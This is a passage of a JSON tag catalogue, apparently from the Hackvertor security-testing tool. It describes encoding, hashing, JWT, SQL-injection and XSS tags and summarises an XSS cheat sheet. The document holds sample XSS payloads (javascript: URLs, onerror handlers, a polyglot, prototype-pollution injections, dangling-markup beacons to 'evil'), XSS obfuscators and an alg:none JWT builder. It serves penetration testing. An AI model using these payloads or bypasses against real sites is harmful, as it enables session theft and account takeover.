/>","call":"hv.tags.uuid.encode(input)"},{"name":"crc32","description":"Computes the CRC-32 checksum of the UTF-8 bytes as 8 hex digits.","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(crc32)>input</@encode>","call":"hv.tags.crc32.encode(input)"},{"name":"hmac","description":"Computes an HMAC of the input with the given key and SHA algorithm, as lowercase hex.","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"The hash algorithm","defaultValue":"SHA-256","values":["SHA-1","SHA-256","SHA-384","SHA-512"]},{"type":"string","help":"The secret key","defaultValue":"key"}],"example":"<@encode(hmac,'SHA-256','key')>input</@encode>","call":"hv.tags.hmac.encode(input, arg1, arg2)"},{"name":"integrity","description":"Creates a SHA256 hash to be used with SRI","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(integrity)>input</@encode>","call":"hv.tags.integrity.encode(input)"},{"name":"md4","description":"Creates a md4 hash of the input","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(md4)>input</@encode>","call":"hv.tags.md4.encode(input)"},{"name":"md5","description":"This performs a md5 hash of the input","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(md5)>input</@encode>","call":"hv.tags.md5.encode(input)"},{"name":"ntlm","description":"Computes the NTLM hash (MD4 of the UTF-16LE password) as lowercase hex. Common in Windows credential work.","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ntlm)>input</@encode>","call":"hv.tags.ntlm.encode(input)"},{"name":"sha","description":"This tag uses the browsers crypto API to perform a hash operation using various algorithms","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"This argument chooses the hash algorithm to use: SHA-1, SHA-256, SHA-384, SHA-512","defaultValue":"SHA-1","values":["SHA-1","SHA-256","SHA-384","SHA-512"]}],"example":"<@encode(sha,'SHA-1')>input</@encode>","call":"hv.tags.sha.encode(input, arg1)"},{"name":"sha3","description":"SHA-3 (FIPS 202) hash. Enable the keccak argument for the original Keccak padding used by Ethereum.","category":"Hash","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"The output size in bits","defaultValue":"256","values":["224","256","384","512"]},{"type":"boolean","help":"Use original Keccak padding (0x01) instead of SHA-3 (0x06)","defaultValue":"false"}],"example":"<@encode(sha3,'256',false)>input</@encode>","call":"hv.tags.sha3.encode(input, arg1, arg2)"},{"name":"cidrExpand","description":"Expands an IPv4 CIDR block to a newline-separated list of every address it contains (capped at 65536).","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(cidrExpand)>input</@encode>","call":"hv.tags.cidrExpand.encode(input)"},{"name":"dword2ip","description":"This tag converts a 32-bit number back to an IPv4 address. It adjusts for a repeat factor by subtracting a multiple of 256^4 before extracting and converting each byte back to its original octet form.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the repeat factor","defaultValue":"1"}],"example":"<@encode(dword2ip,1)>input</@encode>","call":"hv.tags.dword2ip.encode(input, arg1)"},{"name":"hex2ip","description":"Converts an hex IP address into an decimal representation of it.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(hex2ip)>input</@encode>","call":"hv.tags.hex2ip.encode(input)"},{"name":"ip2dword","description":"This ip2dword tag converts an IPv4 address (in string format) into a 32-bit number by processing each octet and adjusting based on its position. It optionally multiplies the result by a repetition factor (repeat). ","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the number of times to repeat the dword encoding","defaultValue":"1"}],"example":"<@encode(ip2dword,1)>input</@encode>","call":"hv.tags.ip2dword.encode(input, arg1)"},{"name":"ip2hex","description":"Converts an IP address into an hex representation of it.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ip2hex)>input</@encode>","call":"hv.tags.ip2hex.encode(input)"},{"name":"ip2oct","description":"Converts an IP address into an octal representation of it.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ip2oct)>input</@encode>","call":"hv.tags.ip2oct.encode(input)"},{"name":"ipv6Compress","description":"Compresses an IPv6 address to its canonical short form (RFC 5952), collapsing the longest run of zero groups.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ipv6Compress)>input</@encode>","call":"hv.tags.ipv6Compress.encode(input)"},{"name":"ipv6Expand","description":"Expands a compressed IPv6 address to its full eight-group form, handling :: and embedded IPv4.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ipv6Expand)>input</@encode>","call":"hv.tags.ipv6Expand.encode(input)"},{"name":"oct2ip","description":"Converts an octal IP address into an decimal representation of it.","category":"IP","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(oct2ip)>input</@encode>","call":"hv.tags.oct2ip.encode(input)"},{"name":"jwtDecode","description":"Splits a JSON Web Token on dots and decodes its header and payload from base64url, showing the raw signature.","category":"JWT","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(jwtDecode)>input</@encode>","call":"hv.tags.jwtDecode.encode(input)"},{"name":"jwtNone","description":"Builds an alg:none JWT (empty signature) from a JSON payload or an existing token, for testing signature-bypass flaws.","category":"JWT","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(jwtNone)>input</@encode>","call":"hv.tags.jwtNone.encode(input)"},{"name":"jwtSign","description":"Signs a JSON payload as an HMAC JWT (HS256/HS384/HS512) with the given secret and returns the token.","category":"JWT","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"The HMAC algorithm","defaultValue":"HS256","values":["HS256","HS384","HS512"]},{"type":"string","help":"The shared secret used to sign the token","defaultValue":"secret"}],"example":"<@encode(jwtSign,'HS256','secret')>input</@encode>","call":"hv.tags.jwtSign.encode(input, arg1, arg2)"},{"name":"jwtVerify","description":"Checks an HMAC JWT (HS256/HS384/HS512) signature against the given secret. Use as a condition operand.","category":"JWT","builtIn":true,"selfClosing":false,"methods":["check"],"arguments":[{"type":"string","help":"The shared secret the token should be signed with","defaultValue":"secret"}],"example":"<@encode(jwtVerify,'secret')>input</@encode>","call":"hv.tags.jwtVerify.encode(input, arg1)"},{"name":"base","description":"This tag convert from one base to another. The first param is the base to convert from and the second param is the base to convert to. It also splits the input with a comma.","category":"Math","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the base to convert from","defaultValue":"10"},{"type":"number","help":"This provides the base to convert to","defaultValue":"16"}],"example":"<@encode(base,10,16)>input</@encode>","call":"hv.tags.base.encode(input, arg1, arg2)"},{"name":"permute","description":"Generate all unique permutations of the inner content’s characters as separate lines. If the number of permutations exceeds a safe threshold, display an error or warning message instead.","category":"Math","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Maximum number of permutations to generate (default: 720)","defaultValue":"720"}],"example":"<@encode(permute,720)>input</@encode>","call":"hv.tags.permute.encode(input, arg1)"},{"name":"range","description":"This creates a range of numbers","category":"Math","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the start number","defaultValue":"0"},{"type":"number","help":"This provides the end number","defaultValue":"0xff"}],"example":"<@encode(range,0,0xff) />","call":"hv.tags.range.encode(input, arg1, arg2)"},{"name":"sqlChar","description":"This tag converts the input to a character code and wraps it into a CHAR() SQL function","category":"SQLi","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(sqlChar)>input</@encode>","call":"hv.tags.sqlChar.encode(input)"},{"name":"sqlChr","description":"This tag converts the input to a character code and wraps it into a CHR() SQL function","category":"SQLi","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(sqlChr)>input</@encode>","call":"hv.tags.sqlChr.encode(input)"},{"name":"sqlHex","description":"This converts the string into hex prefixed with 0x","category":"SQLi","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(sqlHex)>input</@encode>","call":"hv.tags.sqlHex.encode(input)"},{"name":"capitalise","description":"This tag splits on spaces then capitalises the first letter of every word.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(capitalise)>input</@encode>","call":"hv.tags.capitalise.encode(input)"},{"name":"count","description":"Reports the number of lines, words, characters and UTF-8 bytes in the input.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(count)>input</@encode>","call":"hv.tags.count.encode(input)"},{"name":"dedupeLines","description":"Removes duplicate lines, keeping the first occurrence of each.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"boolean","help":"Ignore case when comparing","defaultValue":false}],"example":"<@encode(dedupeLines,false)>input</@encode>","call":"hv.tags.dedupeLines.encode(input, arg1)"},{"name":"find","description":"This tag uses a regex to find data in the input.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is the regular expression used","defaultValue":"regexp"},{"type":"string","help":"This is the regular expression flags","defaultValue":"gim"}],"example":"<@encode(find,'regexp','gim')>input</@encode>","call":"hv.tags.find.encode(input, arg1, arg2)"},{"name":"fromCodePoint","description":"Splits the input into an array then calls String.fromCodePoint","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(fromCodePoint)>input</@encode>","call":"hv.tags.fromCodePoint.encode(input)"},{"name":"length","description":"Returns the length of the input","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(length)>input</@encode>","call":"hv.tags.length.encode(input)"},{"name":"lower","description":"This tag converts the input to lower case","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(lower)>input</@encode>","call":"hv.tags.lower.encode(input)"},{"name":"padStart","description":"This tag by default zero pads a string, it also splits on comma to pad multiple strings.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This controls the amount of padding","defaultValue":"2"},{"type":"string","help":"This is the padding character","defaultValue":"0"}],"example":"<@encode(padStart,2,'0')>input</@encode>","call":"hv.tags.padStart.encode(input, arg1, arg2)"},{"name":"prefixSuffix","description":"This tag splits the input into pieces using new lines and then joins them with each element getting a prefix and suffix.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is the prefix to add to each piece","defaultValue":"&"},{"type":"string","help":"This is the suffix to add to each piece","defaultValue":";"}],"example":"<@encode(prefixSuffix,'&',';')>input</@encode>","call":"hv.tags.prefixSuffix.encode(input, arg1, arg2)"},{"name":"regexEscape","description":"Escapes regular-expression metacharacters so the input can be matched literally.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(regexEscape)>input</@encode>","call":"hv.tags.regexEscape.encode(input)"},{"name":"repeat","description":"This tag repeats the input the number of times in the amount argument","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This is the amount to repeat","defaultValue":"0xff"}],"example":"<@encode(repeat,0xff)>input</@encode>","call":"hv.tags.repeat.encode(input, arg1)"},{"name":"replaceAll","description":"This tag does a string replace all without a regex.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is used to find the string","defaultValue":"find"},{"type":"string","help":"This is used to replace the string","defaultValue":"replace"}],"example":"<@encode(replaceAll,'find','replace')>input</@encode>","call":"hv.tags.replaceAll.encode(input, arg1, arg2)"},{"name":"replaceAllRegex","description":"This tag does a string replace all with a regex.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is used to find the string","defaultValue":"regex"},{"type":"string","help":"This is used to replace the string","defaultValue":"replace"}],"example":"<@encode(replaceAllRegex,'regex','replace')>input</@encode>","call":"hv.tags.replaceAllRegex.encode(input, arg1, arg2)"},{"name":"reverse","description":"This tag reverses the input","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(reverse)>input</@encode>","call":"hv.tags.reverse.encode(input)"},{"name":"sortLines","description":"Sorts the input's lines alphabetically or numerically, ascending or descending.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"Sort direction","defaultValue":"asc","values":["asc","desc"]},{"type":"boolean","help":"Compare as numbers","defaultValue":false},{"type":"boolean","help":"Ignore case","defaultValue":false}],"example":"<@encode(sortLines,'asc',false,false)>input</@encode>","call":"hv.tags.sortLines.encode(input, arg1, arg2, arg3)"},{"name":"splitJoin","description":"This tag splits the input with the split parameter and then joins it with the join parameter.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the split character","defaultValue":","},{"type":"string","help":"This provides the join character","defaultValue":","}],"example":"<@encode(splitJoin,',',',')>input</@encode>","call":"hv.tags.splitJoin.encode(input, arg1, arg2)"},{"name":"substring","description":"Returns part of the input from a start index. A length of 0 means to the end; negative start counts from the end.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"Start index (negative counts from the end)","defaultValue":"0"},{"type":"number","help":"Length (0 means to the end)","defaultValue":"0"}],"example":"<@encode(substring,0,0)>input</@encode>","call":"hv.tags.substring.encode(input, arg1, arg2)"},{"name":"swapCase","description":"Swaps the case of every letter.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(swapCase)>input</@encode>","call":"hv.tags.swapCase.encode(input)"},{"name":"toCodePoint","description":"Splits the input into an array then calls codePointAt","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(toCodePoint)>input</@encode>","call":"hv.tags.toCodePoint.encode(input)"},{"name":"trim","description":"Removes whitespace from the start, end, or both ends of the input.","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"Which end(s) to trim","defaultValue":"both","values":["both","start","end"]}],"example":"<@encode(trim,'both')>input</@encode>","call":"hv.tags.trim.encode(input, arg1)"},{"name":"upper","description":"This tag converts the input to upper case","category":"String","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(upper)>input</@encode>","call":"hv.tags.upper.encode(input)"},{"name":"invisibleSeparator","description":"This generates a invisibleSeparator character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(invisibleSeparator) />","call":"hv.tags.invisibleSeparator.encode(input)"},{"name":"leftToRightOverride","description":"This tag generates a left to right override character that can stop the effects of right to left override","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(leftToRightOverride) />","call":"hv.tags.leftToRightOverride.encode(input)"},{"name":"lineSeparator","description":"This produces a line separator often useful for creating new lines.","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(lineSeparator) />","call":"hv.tags.lineSeparator.encode(input)"},{"name":"nextLineChar","description":"Returns the next line character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(nextLineChar) />","call":"hv.tags.nextLineChar.encode(input)"},{"name":"paragraphSeparator","description":"This produces a paragraph separator often useful for creating new lines.","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(paragraphSeparator) />","call":"hv.tags.paragraphSeparator.encode(input)"},{"name":"rightToLeftOverride","description":"This tag generates a right to left override character that can reverse text","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(rightToLeftOverride) />","call":"hv.tags.rightToLeftOverride.encode(input)"},{"name":"strikethrough","description":"This creates a strikethrough effect using unicode combining long stroke overlay","category":"Unicode","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(strikethrough)>input</@encode>","call":"hv.tags.strikethrough.encode(input)"},{"name":"unicodeEffect","description":"Applies Unicode characters to visually enhance text with various effects like underline, strike-through, and more.","category":"Unicode","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"enum","help":"This tag does various unicode effects","defaultValue":"strike","values":["underline","doubleUnderline","overline","doubleOverline","strike","shortStrike","tilde","slash","circle","square","diamond"]}],"example":"<@encode(unicodeEffect,'strike')>input</@encode>","call":"hv.tags.unicodeEffect.encode(input, arg1)"},{"name":"unicodeWhitespace","description":"This tags returns all unicode whitespace","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(unicodeWhitespace) />","call":"hv.tags.unicodeWhitespace.encode(input)"},{"name":"upsideDownUnicode","description":"Reverses Unicode characters using a custom mapping for an upside-down effect.","category":"Unicode","builtIn":true,"selfClosing":false,"methods":["encode","decode"],"arguments":[],"example":"<@encode(upsideDownUnicode)>input</@encode>","call":"hv.tags.upsideDownUnicode.encode(input)"},{"name":"wordJoiner","description":"This tag generates a wordJoiner character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(wordJoiner) />","call":"hv.tags.wordJoiner.encode(input)"},{"name":"zeroWidthJoiner","description":"This tag generates a zeroWidthJoiner character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(zeroWidthJoiner) />","call":"hv.tags.zeroWidthJoiner.encode(input)"},{"name":"zeroWidthNoBreakSpace","description":"This generates a zeroWidthNoBreakSpace characters","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(zeroWidthNoBreakSpace) />","call":"hv.tags.zeroWidthNoBreakSpace.encode(input)"},{"name":"zeroWidthNonJoiner","description":"This tag creates a zeroWidthNonJoiner character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(zeroWidthNonJoiner) />","call":"hv.tags.zeroWidthNonJoiner.encode(input)"},{"name":"zeroWidthSpace","description":"This tag generates a zero width space character","category":"Unicode","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(zeroWidthSpace) />","call":"hv.tags.zeroWidthSpace.encode(input)"},{"name":"formatJson","description":"This tag parses the input as JSON then stringifies it and formats it.","category":"Utils","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(formatJson)>input</@encode>","call":"hv.tags.formatJson.encode(input)"},{"name":"getVariable","description":"This tag gets a Hackvertor variable","category":"Variables","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"string","help":"This is the name of the variable","defaultValue":"foo"}],"example":"<@encode(getVariable,'foo') />","call":"hv.tags.getVariable.encode(input, arg1)"},{"name":"setVariable","description":"This tag sets a variable that can be used by other Hackvertor tags.","category":"Variables","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This is the name of the argument","defaultValue":"foo"}],"example":"<@encode(setVariable,'foo')>input</@encode>","call":"hv.tags.setVariable.encode(input, arg1)"},{"name":"formatXml","description":"This tag formats an XML string by parsing it into a DOM structure, recursively traversing its nodes, and adding appropriate indentation and line breaks for elements, text, attributes, and comments, ensuring readable, structured output.","category":"XML","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the indent size","defaultValue":"2"}],"example":"<@encode(formatXml,2)>input</@encode>","call":"hv.tags.formatXml.encode(input, arg1)"},{"name":"jsonToXml","description":"Converts a JSON value to indented XML. Arrays repeat the element; the root element name is configurable.","category":"XML","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"The name of the root element","defaultValue":"root"}],"example":"<@encode(jsonToXml,'root')>input</@encode>","call":"hv.tags.jsonToXml.encode(input, arg1)"},{"name":"nest","description":"This tag will nest XML nodes to a given depth. E.g. if the input is <a>test</a> the result will be:  <a><a><a>test</a></a></a> for a depth of 3","category":"XML","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This provides the depth amount","defaultValue":"512"}],"example":"<@encode(nest,512)>input</@encode>","call":"hv.tags.nest.encode(input, arg1)"},{"name":"xmlEntity","description":"This tag creates a XML entity. The parameters create a name and value.","category":"XML","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"string","help":"This is the entity name","defaultValue":"name"},{"type":"string","help":"This is the entity value","defaultValue":"value"}],"example":"<@encode(xmlEntity,'name','value') />","call":"hv.tags.xmlEntity.encode(input, arg1, arg2)"},{"name":"xmlToJson","description":"This tag traverses the XML and tries to convert it to JSON.","category":"XML","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(xmlToJson)>input</@encode>","call":"hv.tags.xmlToJson.encode(input)"},{"name":"cdata","description":"This tag performs a crazy obfuscation using CDATA tags.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(cdata)>input</@encode>","call":"hv.tags.cdata.encode(input)"},{"name":"evalFromCodePoint","description":"This tag converts every character into it's code point and then wraps it in an eval.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(evalFromCodePoint)>input</@encode>","call":"hv.tags.evalFromCodePoint.encode(input)"},{"name":"hasegawa","description":"This tag recreates the EPIC non-alpha JavaScript that Yosuke Hasegawa discovered on the slackers forum.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"string","help":"This provides symbols to use for the non-alpha code.","defaultValue":"ªÀÁÂÃÄÆÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþ$_"}],"example":"<@encode(hasegawa,'ªÀÁÂÃÄÆÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþ$_')>input</@encode>","call":"hv.tags.hasegawa.encode(input, arg1)"},{"name":"jsFuck","description":"This tag encodes the JavaScript input as JSFuck. A technique to generate non-alpha JavaScript first discovered on the sla.ckers forums. The encoder is written by Martin Kleppe.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"boolean","help":"This argument is used to wrap the code with eval","defaultValue":"true"}],"example":"<@encode(jsFuck,true)>input</@encode>","call":"hv.tags.jsFuck.encode(input, arg1)"},{"name":"mathml","description":"This tag just returns a Math tag with the famous Einstein equation.","category":"XSS","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(mathml) />","call":"hv.tags.mathml.encode(input)"},{"name":"restrictedVectors","description":"This tags returns all XSS vectors on the XSS cheat sheet that can be used with restricted characters such as no parentheses.","category":"XSS","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[],"example":"<@encode(restrictedVectors) />","call":"hv.tags.restrictedVectors.encode(input)"},{"name":"svg","description":"This tag returns a valid SVG document for use with image/svg+xml content type.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(svg)>input</@encode>","call":"hv.tags.svg.encode(input)"},{"name":"svgScriptComment","description":"Splits every character and adds a XML comment around it with SVG script.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(svgScriptComment)>input</@encode>","call":"hv.tags.svgScriptComment.encode(input)"},{"name":"ternary","description":"This tag is based on a old Hackvertor tag I wrote years ago. It does random expressions and obfuscates via ternary operations.","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[],"example":"<@encode(ternary)>input</@encode>","call":"hv.tags.ternary.encode(input)"},{"name":"toStringObfuscator","description":"This obfuscate a string into a number where possible. For example \"test\" becomes 796469..toString(30)","category":"XSS","builtIn":true,"selfClosing":false,"methods":["encode"],"arguments":[{"type":"number","help":"This is the minimum base","defaultValue":"2"},{"type":"number","help":"This is the maximum base","defaultValue":36}],"example":"<@encode(toStringObfuscator,2,36)>input</@encode>","call":"hv.tags.toStringObfuscator.encode(input, arg1, arg2)"},{"name":"vectors","description":"This tag loads vectors from the events part of the XSS cheat sheet.","category":"XSS","builtIn":true,"selfClosing":true,"methods":["encode"],"arguments":[{"type":"string","help":"This provides the tag name","defaultValue":"*"},{"type":"boolean","help":"Shows vectors with user interaction or not","defaultValue":"false"}],"example":"<@encode(vectors,'*',false) />","call":"hv.tags.vectors.encode(input, arg1, arg2)"}],"variables":{"type":"object","keys":2,"entries":{"xssCheatSheet":{"type":"object","keys":20,"entries":{"angularJs":{"type":"array","length":32,"sample":"{\"versionRange\":\"1.0.1 - 1.1.5\",\"version\":\"1.0.1\",\"authors\":[{\"name\":\"Mario Heiderich\",\"company\":\"Cure53\",\"twitterUrl\":\"https://twitter.com/cure53berlin\"}],\"vec..."},"classic":{"type":"array","length":30,"sample":{"description":"Image src with JavaScript protocol","code":"<img src=\"javascript:alert(1)\">","browsers":[]}},"consumingTags":{"type":"array","length":9,"sample":"{\"description\":\"Noembed consuming tag\",\"code\":\"<noembed><img title=\\\"</noembed><img src onerror=alert(1)>\\\"></noembed>\",\"browsers\":[\"chrome\",\"firefox\",\"edge\",\"s..."},"contentTypes":{"type":"array","length":12,"sample":{"description":"text/html","code":"<script>alert(document.domain)</script>","browsers":["chrome","firefox","edge","safari"]}},"danglingMarkup":{"type":"array","length":25,"sample":"{\"description\":\"Background attribute\",\"code\":\"<body background=\\\"//evil?\\n<table background=\\\"//evil?\\n<table><thead background=\\\"//evil?\\n<table><tbody backgro..."},"encodings":{"type":"array","length":25,"sample":"{\"description\":\"Background attribute\",\"code\":\"<body background=\\\"//evil?\\n<table background=\\\"//evil?\\n<table><thead background=\\\"//evil?\\n<table><tbody backgro..."},"events":{"type":"object","keys":111,"sampleEntries":{"onshow":"{\"description\":\"Fires context menu is shown\",\"tags\":[{\"tag\":\"menu\",\"code\":\"<div ...","ontransitionstart":"{\"description\":\"Fires when a CSS transition starts\",\"tags\":[{\"tag\":\"*\",\"code\":\"<...","onprogress":"{\"description\":\"Fires when the video/audio begins downloading\",\"tags\":[{\"tag\":\"v...","ondurationchange":"{\"description\":\"Fires when duration changes\",\"tags\":[{\"tag\":\"video\",\"code\":\"<vid...","oncuechange":"{\"description\":\"Fires when subtitle changes\",\"tags\":[{\"tag\":\"track\",\"code\":\"<vid...","onwebkitanimationiteration":"{\"description\":\"Fires when a CSS animation repeats\",\"tags\":[{\"tag\":\"*\",\"code\":\"<...","onselectstart":"{\"description\":\"Fires when beginning a text selection\",\"tags\":[{\"tag\":\"body\",\"co...","onselectionchange":"{\"description\":\"Fires when text selection is changed on the page\",\"tags\":[{\"tag\"..."}},"fileUploads":{"type":"array","length":1,"sample":"{\"description\":\"Add blob to file object\",\"code\":\"<input type=\\\"file\\\" id=\\\"fileInput\\\" /><script>const fileInput = document.getElementById('fileInput');const da..."},"frameworks":{"type":"array","length":2,"sample":"{\"description\":\"Bootstrap onanimationstart event\",\"code\":\"<xss class=progress-bar-animated onanimationstart=alert(1)>\",\"browsers\":[\"chrome\",\"firefox\",\"edge\",\"sa..."},"imposssible":{"type":"array","length":10,"sample":"{\"title\":\"Basic context, WAF blocks <[a-zA-Z]\",\"descriptionHTML\":\"This lab captures the scenario when you can't use an open tag followed by an alphanumeric char..."},"obfuscation":{"type":"array","length":7,"sample":"{\"description\":\"Data protocol inside script src with base64\",\"code\":\"<script src=data:text/javascript;base64,YWxlcnQoMSk=></script>\",\"browsers\":[\"chrome\",\"firef..."},"polyglot":{"type":"array","length":3,"sample":"{\"description\":\"Polyglot payload 1\",\"code\":\"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\\\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>\",\"..."},"protocols":{"type":"array","length":34,"sample":{"description":"Iframe src attribute JavaScript protocol","code":"<iframe src=\"javascript:alert(1)\">","browsers":["chrome","firefox","safari"]}},"prototypePollution":{"type":"array","length":22,"sample":"{\"library\":\"Wistia Embedded Video\",\"payload\":\"<script>\\nObject.prototype.innerHTML = '<img/src/onerror=alert(1)>';\\n</script>\",\"frameworkCode\":\"<script src=\\\"ht..."},"responseContentTypes":{"type":"array","length":6,"sample":"{\"description\":\"Using comma separator\",\"code\":\"<script>alert(document.domain)</script>\",\"content-type\":\"text/plain; x=x, text/html, foobar\",\"browsers\":[\"chrome\"..."},"restrictedCharacters":{"type":"array","length":26,"sample":"{\"description\":\"No parentheses using exception handling\",\"code\":\"<script>onerror=alert;throw 1</script>\",\"browsers\":[\"chrome\",\"firefox\",\"edge\",\"safari\"],\"url\":\"..."},"specialTags":{"type":"array","length":10,"sample":"{\"description\":\"Redirect to a different domain\",\"code\":\"<meta http-equiv=\\\"refresh\\\" content=\\\"0; url=//portswigger-labs.net\\\">\",\"browsers\":[\"chrome\",\"firefox\",..."},"usefulTags":{"type":"array","length":15,"sample":{"description":"Using srcdoc attribute","code":"<iframe srcdoc=\"<img src=1 onerror=alert(1)>\"></iframe>","browsers":["chrome","firefox","edge","safari"]}},"vuejs":{"type":"array","length":49,"sample":"{\"authors\":[{\"name\":\"Mario Heiderich\",\"company\":\"Cure53\",\"twitterUrl\":\"https://twitter.com/cure53berlin\"}],\"vector\":\"{{constructor.constructor('alert(1)')()}}\",..."},"wafBypassGlobalObj":{"type":"array","length":56,"sample":"{\"description\":\"XSS into a JavaScript string: string concatenation 